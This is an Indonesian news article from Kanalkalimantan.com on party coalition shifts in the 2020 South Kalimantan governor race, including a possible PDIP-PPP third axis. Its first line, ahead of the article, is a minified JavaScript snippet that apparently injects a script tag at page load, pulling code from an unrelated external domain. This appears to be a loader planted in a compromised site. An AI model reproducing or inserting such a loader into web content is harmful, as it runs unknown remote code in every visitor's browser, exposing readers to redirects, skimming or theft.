(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALALIMANTAN.COM, BANJARBARU – Peta politik di Pilgub Kalsel masih cukup cair. Head to had antara pasangan incumbent Sahbirin Noor-H Muhidin melawan kubu Denny Indrayana-Difriadi Darjat yang disokong Partai Demokrat dan Gerindra, bisa jadi akan mendapatkan penantang baru. Poros ketiga Pilgub Kalsel bisa terjadi dengan duet antara PDIP-PPP. Akankah?
Keputusan Sahbirin menggandeng Muhidin di Pilgub Kalsel memang bukan tanpa resiko. Masuknya PAN yang ‘potong kompas’ ditengah proses penggodokan partai koalisi incumbent, membuat PDIP seperti di PHP (Putus Hubungan Pacar). Padahal sejak awal saat Golkar belum mendapatkan teman koalisi, PDIP partai pertama yang menyodorkan diri sebagai pendukung.
Tapi, keluarnya nama pasangan Sahbirin-Muhidin dalam surat No A-054/GOLKAR-KS/V1/2020 tentang Laporan Hasil Pelaksanaan Tahapan Seleksi Bakal Calon Kepala Daerah Partai Golkar di Pilkada 2020 yang disetor ke DPP Golkar untuk dimintakan rekomendasi, membuat harapan banteng bersanding dengan incumbent terhempas di pertarungan politik Pilgub 2020.
Tapi harus disadari, yang terjadi saat ini masih dinamika politik di level provinsi. Karena pada akhirnya, DPP partai lah yang memainkan jurusnya. Rajutan koalisi antara Partai Golkar dan PDIP bisa saja lepas, jika Ketua Umum DPP PDIP Megawati Soekarno Putri ternyata tak berkenan dengan pilihan incumbent atas Ketua DPW PAN Kalsel H Muhidin.
Kemenangan kandidat dalam Pilgub maupun Pilkada Kabupaten/Kota, tidak sekadar menjadi adu gengsi partai, tapi juga terkait strategi pemenangan suara dalam Pemilu selanjutnya. Maka dalam menentukan sosok yang ditarungkan di Pilkada, para ketua umum parpol akan melihat sejauh mana kadernya bisa terlibat dan mendulang kemenangan.
Sebagaimana diketahui, PDIP Kalsel sebelumnya telah menyodorkan dua kader terbaiknya sebagai pendamping incumbent Sahbirin yakni H Rosehan NB. Meski memiliki suara signifikan (PDIP Kalsel meraih 8 kursi di DPRD) — peringkat dua bersama Gerindra yang juga memperoleh kursi sama, mereka tidak serta merta mengusung calon sendiri. Tapi, memilih hanya menyodorkan wakil gubernur atas dasar komitmen menyokong pencalonan incumbent Sahbirin.
Ditinggal Sahbirin, Rosehan pada sebuah kesempatan kepada wartawan menegaskan bahwa dirinya adalah seorang petarung. “Saya ini petarung dan harus siap, apalagi jika mendapat kepercayaan dari DPP PDIP,” katanya.
Statemen tersebut semakin terbukti, ketika tokoh PDIP Kalsel tersebut bertemu dengan Ketua DPW PPP Kalsel Aditya Mufti Ariifin di sebuah rumah makan di Jakarta, Minggu (5/7/2020) malam. Meski Rosehan belum berhasil dimintai keterangan terkait pertemuan tersebut, namun Ovi—panggilan Aditya yang sebelumnya menyatakan mundur di Pilkada Banjarbaru ini membenarkan pertemuan tersebut.
Ovi, kepada Kanalkalimantan.com mengatakan, pertemuan tersebut hanya sebatas makan dengan sahabat lama. “Ya, kita bicara bicara biasa aja, masalah politik banua dan banyak lagi,” katanya.
Disinggung apakah pertemuan tersebut membahas wacana koalisi PDIP-PPP, Ovi mengatakan hingga saat ini partainya dan PDIP belum mengeluarkan sikap politik terkait Pilgub Kalsel. Karena ia sebagai Ketua DPW PPP Kalsel masih menunggu arahan DPP.
Soal wacana pasangan Rosehan-Ovi maju di Pilgub Kalsel, putra mantan Gubernur Kalsel ini balik memuji shabatnya itu sebagai orang yang berpengalaman. “Kalau Pak Rosehan kan sudah pengalaman baik sebagai wagub dan legisator. Jadi sudah mengusailah. Dan beliau juga sebagai petarung,” tegas Ovi.
Tapi bagaimana jika DPP PPP menghendaki berpasangan dengan PDIP?
“Kalau ulun (saya) sendiri belum terpikirkan maju di tengah pandemi covid ini. Tapi liat aja penugasan partai. DPP pasti punya pertimbangan. Walaupun sebagai kader wajib patuh perintah partai tapi harus mempertimbangan situasi dan kondisi juga sehingga bisa juga kader menolak apabila situasi dan kondisi tidak mengizinkan,” pungkasnya.
Sebagaimana diberitakan sebelumnya, koalisi parti pengusung Sahbirin-Muhidin di Pilgub Kalsel saat ini terdiri dari Partai Golkar dengan 12 kursi, PDIP dengan 8 kursi, PAN 6 kursi, PKS 5 Kursi, dan Nasdem 4 kursi. Total jumlah kursi pengusung berjumlah 35 kursi. Tentu saja, jumlah tersebut lebih dari cukup untuk mengusung jago sebagai syarat pendaftaran Cagub/Cawagub Kalsel di KPU nanti.
Tapi, dengan kondisi saat ini bisa saja koalisi tersebut memang belum solid. Peluang PDIP untuk loncat pagar menggandeng PPP masih cukup terbuka. (Kanalkalimantan.com/rico)
KANALKALIMANTAN.COM, BANJARBARU - Wakil Bupati Banjar Habib Idrus Al Habsyi saat membuka Sosialisasi Core Values… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar melakukan Peluncuran Calendar of Event 2025 yang mencakup berbagai… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Tim Banjarbaru Haram Manyarah (Hanyar) yang mengawal hasil Pemilihan Wali Kota dan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Komisi Pemilihan Umum (KPU) Kota Banjarbaru mengaku siap menghadapi proses gugatan yang… Read More
KANALKALIMANTAN.COM - Pinjaman online (pinjol) kini semakin populer karena menawarkan kemudahan akses dana bagi siapa… Read More
KANALKALIMANTAN.COM, KOTABARU - Komisi II DPRD Kabupaten Kotabaru bersama Dinas Komunikasi dan Informatika (Diskominfo) Kotabaru… Read More
This website uses cookies.